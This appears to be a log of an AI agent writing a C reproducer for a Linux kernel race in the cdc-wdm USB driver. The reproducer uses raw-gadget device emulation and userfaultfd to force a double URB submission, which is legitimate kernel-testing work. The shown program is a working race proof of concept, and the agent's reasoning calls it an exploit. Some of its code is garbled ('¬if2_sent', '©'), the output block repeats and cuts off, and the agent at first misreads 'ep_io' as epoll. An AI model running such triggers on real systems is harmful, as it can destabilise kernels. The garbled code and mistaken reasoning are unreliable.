SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 127/4 |
2026/09/11 22:23 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 33334
output: 46
thoughts: 13
Thoughts: **My Thought Process Regarding `raw_process_ep_io`**
Alright, I need to get a handle on what `raw_process_ep_io` is doing. My initial impulse is to dive straight into the code itself to understand its mechanics. I'm assuming, as an expert in this domain, that this function likely represents a core piece of logic related to event processing or I/O operations, and its name strongly suggests it's operating at a very fundamental, perhaps low-level, stage. I'll be looking for how it interacts with raw data, how it manages events (epoll events, presumably, given the "ep_io" hint), and the specific IO operations it's responsible for. Is it reading from or writing to file descriptors? Is it handling incoming data packets? Is it managing the lifecycle of these operations? I'll be keenly observing its inputs and outputs, paying close attention to any pointers, buffers, or event structures it manipulates. I anticipate it will involve careful state management and potentially intricate error handling, as is typical with raw I/O. I'm eager to see the specific system calls it invokes, if any, and how it abstracts or delegates those calls. The efficiency and correctness of this function are likely critical to the overall performance and reliability of the system it belongs to.
|
| 128/4 |
2026/09/11 22:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_process_ep_io]
Results: map[SourceCode:1058: static int raw_process_ep_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
1059: void *data, bool in)
1060: {
1061: int ret = 0;
1062: unsigned long flags;
1063: struct raw_ep *ep;
1064: DECLARE_COMPLETION_ONSTACK(done);
1065:
1066: spin_lock_irqsave(&dev->lock, flags);
1067: if (dev->state != STATE_DEV_RUNNING) {
1068: dev_dbg(dev->dev, "fail, device is not running\n");
1069: ret = -EINVAL;
1070: goto out_unlock;
1071: }
1072: if (!dev->gadget) {
1073: dev_dbg(dev->dev, "fail, gadget is not bound\n");
1074: ret = -EBUSY;
1075: goto out_unlock;
1076: }
1077: if (io->ep >= dev->eps_num) {
1078: dev_dbg(&dev->gadget->dev, "fail, invalid endpoint\n");
1079: ret = -EINVAL;
1080: goto out_unlock;
1081: }
1082: ep = &dev->eps[io->ep];
1083: if (ep->state != STATE_EP_ENABLED) {
1084: dev_dbg(&dev->gadget->dev, "fail, endpoint is not enabled\n");
1085: ret = -EBUSY;
1086: goto out_unlock;
1087: }
1088: if (ep->disabling) {
1089: dev_dbg(&dev->gadget->dev,
1090: "fail, endpoint is already being disabled\n");
1091: ret = -EBUSY;
1092: goto out_unlock;
1093: }
1094: if (ep->urb_queued) {
1095: dev_dbg(&dev->gadget->dev, "fail, urb already queued\n");
1096: ret = -EBUSY;
1097: goto out_unlock;
1098: }
1099: if (in != usb_endpoint_dir_in(ep->ep->desc)) {
1100: dev_dbg(&dev->gadget->dev, "fail, wrong direction\n");
1101: ret = -EINVAL;
1102: goto out_unlock;
1103: }
1104:
1105: ep->dev = dev;
1106: ep->req->context = &done;
1107: ep->req->complete = gadget_ep_complete;
1108: ep->req->buf = data;
1109: ep->req->length = io->length;
1110: ep->req->zero = usb_raw_io_flags_zero(io->flags);
1111: ep->urb_queued = true;
1112: spin_unlock_irqrestore(&dev->lock, flags);
1113:
1114: ret = usb_ep_queue(ep->ep, ep->req, GFP_KERNEL);
1115: if (ret) {
1116: dev_err(&dev->gadget->dev,
1117: "fail, usb_ep_queue returned %d\n", ret);
1118: spin_lock_irqsave(&dev->lock, flags);
1119: goto out_queue_failed;
1120: }
1121:
1122: ret = wait_for_completion_interruptible(&done);
1123: if (ret) {
1124: dev_dbg(&dev->gadget->dev, "wait interrupted\n");
1125: usb_ep_dequeue(ep->ep, ep->req);
1126: wait_for_completion(&done);
1127: spin_lock_irqsave(&dev->lock, flags);
1128: if (ep->status == -ECONNRESET)
1129: ep->status = -EINTR;
1130: goto out_interrupted;
1131: }
1132:
1133: spin_lock_irqsave(&dev->lock, flags);
1134:
1135: out_interrupted:
1136: ret = ep->status;
1137: out_queue_failed:
1138: ep->urb_queued = false;
1139: out_unlock:
1140: spin_unlock_irqrestore(&dev->lock, flags);
1141: return ret;
1142: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 129/4 |
2026/09/11 22:23 |
llm |
repro-generator |
4m
Model:
Tokens:
input: 34723
output: 4181
thoughts: 17087
Thoughts: **The Inner Workings of a USB Gadget Race Condition**
I've been deep in thought, dissecting a fascinating race condition within a USB CDC-ACM gadget driver. My goal was to understand how a specific sequence of events could lead to a double submission of a USB URB, triggering a kernel warning. Here's a breakdown of my thought process and the intricate dance of threads and events that leads to the desired outcome:
**Initial Setup and Blocking Behavior:**
My journey began with the `ep1_thread`. I knew that `ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1)` on the raw gadget device would block until the host actually processed the data I was sending. This is crucial. It means the first `ioctl` call for `USB_RAW_IOCTL_EP_WRITE` would only complete *after* the host has submitted an Interrupt IN URB to receive my first notification and successfully completed it.
Similarly, the second `ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1)` would also block until the host processed the second notification. The key here is that the `wdm_int_callback` in the host-side driver is designed to *resubmit* the Interrupt IN URB immediately after completion. This ensures that the host is always ready to receive the next IN transfer, meaning my second `ioctl` call is also guaranteed to complete.
After these two `ioctl` calls, the `ep1_thread` would then wait for the `read_blocked` event. This is exactly the behavior I wanted: ensure both notifications are sent and processed before proceeding.
**The Critical Race: Control URB Interaction:**
The real complexity emerged when I considered the interaction with the control endpoint (EP0). My gadget is designed to respond to a specific control request (`0xA1 0x01`) with a data payload.
I realized that the host could submit its Control Read URB for the first notification and have it reach the gadget *before* my `ep1_thread` even sent the second notification. The `gadget_thread` handles EP0 events. If it responds to this first control request immediately, the `wdm_in_callback` (on the host side) would execute, clear a flag named `WDM_RESPONDING`, and wake up the `wdm_read` function.
This `wdm_read` function, in turn, calls `copy_to_user`, which I had set up to block on a userfaultfd. If the second notification from `ep1_thread` arrived *after* `WDM_RESPONDING` was cleared, the `wdm_int_callback` for that second notification would see `WDM_RESPONDING` as 0, and would resubmit the control URB again. This is where the potential for a double submission begins to form.
**Unraveling the Scenarios and the Role of STALL:**
I meticulously traced two primary scenarios:
* **Scenario A (with STALL):** This involved the `ep1_thread` sending notifications, the host responding, `wdm_read` blocking, and then `ep1_thread` sending a STALL on EP1. This STALL is designed to trigger `wdm_rxwork`. The STALL forces the host to acknowledge an error, leading `wdm_rxwork` to reschedule the control URB submission. This URB submission by `wdm_rxwork` would happen while the URB was potentially already active, leading to the warning.
* **Scenario B (without STALL):** In this scenario, I questioned if the STALL and `wdm_rxwork` were even necessary. My analysis showed that if the second notification was sent *after* `WDM_RESPONDING` was cleared (i.e., after data was received), the `wdm_int_callback` would attempt to submit the URB again. However, a closer look at the `wdm_int_callback`'s logic (`!desc->resp_count++`) revealed that it would *not* resubmit the URB if `resp_count` was already greater than 0. This meant that in Scenario B, the URB wouldn't be active when `service_outstanding_interrupt` (called by `wdm_read`) tried to submit it again. The warning would *not* trigger.
**The Critical Insight: The Order of Operations is Paramount!**
This led me to a crucial realization: the presence of the STALL and the subsequent execution of `wdm_rxwork` are absolutely vital to trigger the race. Without them, the URB wouldn't be active when `service_outstanding_interrupt` tries to submit it.
I then re-examined Scenario A more closely. I noted that `wdm_rxwork` *does not* check `desc->resp_count` before submitting the URB; it only checks `WDM_RESPONDING`. If `WDM_RESPONDING` is 0 when `wdm_rxwork` runs, it *will* submit the URB. This confirms that the STALL mechanism is indeed necessary to create an active URB at the right time.
**Refining the Reproducer: Synchronization is Key!**
To ensure the race condition occurs reliably, precise timing and synchronization are essential. I identified a potential issue: the `gadget_thread` might respond to the first control request *before* the second notification is sent by `ep1_thread`. If this happened, the `wdm_in_callback` would clear `WDM_RESPONDING` prematurely, preventing `wdm_rxwork` from submitting the URB.
To overcome this, I introduced a delay mechanism within the `gadget_thread`'s response to the control request. My initial thought was a simple `usleep`. However, for maximum robustness, I decided to use an event (`notif2_sent`) to synchronize.
Here's the refined sequence:
1. `ep1_thread` sends the first notification.
2. The host receives it, and `wdm_int_callback` sets `WDM_RESPONDING` to 1 and increments `resp_count` to 1, submitting the control URB.
3. `ep1_thread` sends the second notification.
4. The host receives it. Because `WDM_RESPONDING` is still 1, `wdm_int_callback` increments `resp_count` to 2 but *does not* resubmit the control URB.
5. `ep1_thread` signals `notif2_sent` using `event_set`.
6. `gadget_thread`, having received the first control URB, now waits on `event_wait(¬if2_sent)`.
7. Once `notif2_sent` is signaled, `gadget_thread` waits a short additional period (`usleep(100000)`) to ensure the host has fully processed the second notification.
8. `gadget_thread` then responds to the first control request. This response clears `WDM_RESPONDING` to 0 and wakes up `wdm_read`.
9. `wdm_read` blocks on the userfaultfd, setting `read_blocked`.
10. `ep1_thread` proceeds, sends a STALL on EP1.
11. The STALL triggers `wdm_rxwork` on the host.
12. `wdm_rxwork` sees `WDM_RESPONDING` is 0, sets it to 1, and submits the control URB (making it active).
13. `ep1_thread` resolves the userfaultfd, allowing `wdm_read` to complete.
14. `wdm_read` calls `service_outstanding_interrupt`, which attempts to submit the *same* control URB again.
15. Since the URB is already active (due to `wdm_rxwork`), this second submission triggers the "WARNING: URB submitted while active!" message, successfully demonstrating the race condition.
This detailed breakdown, including the careful consideration of event ordering and flag states, allowed me to construct a precise reproducer for the observed kernel behavior. The synchronization using `event_t` was the final touch to make the exploit reliably trigger the race condition.
|
| 130/4 |
2026/09/11 22:27 |
tool |
set-results |
0m
Args: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
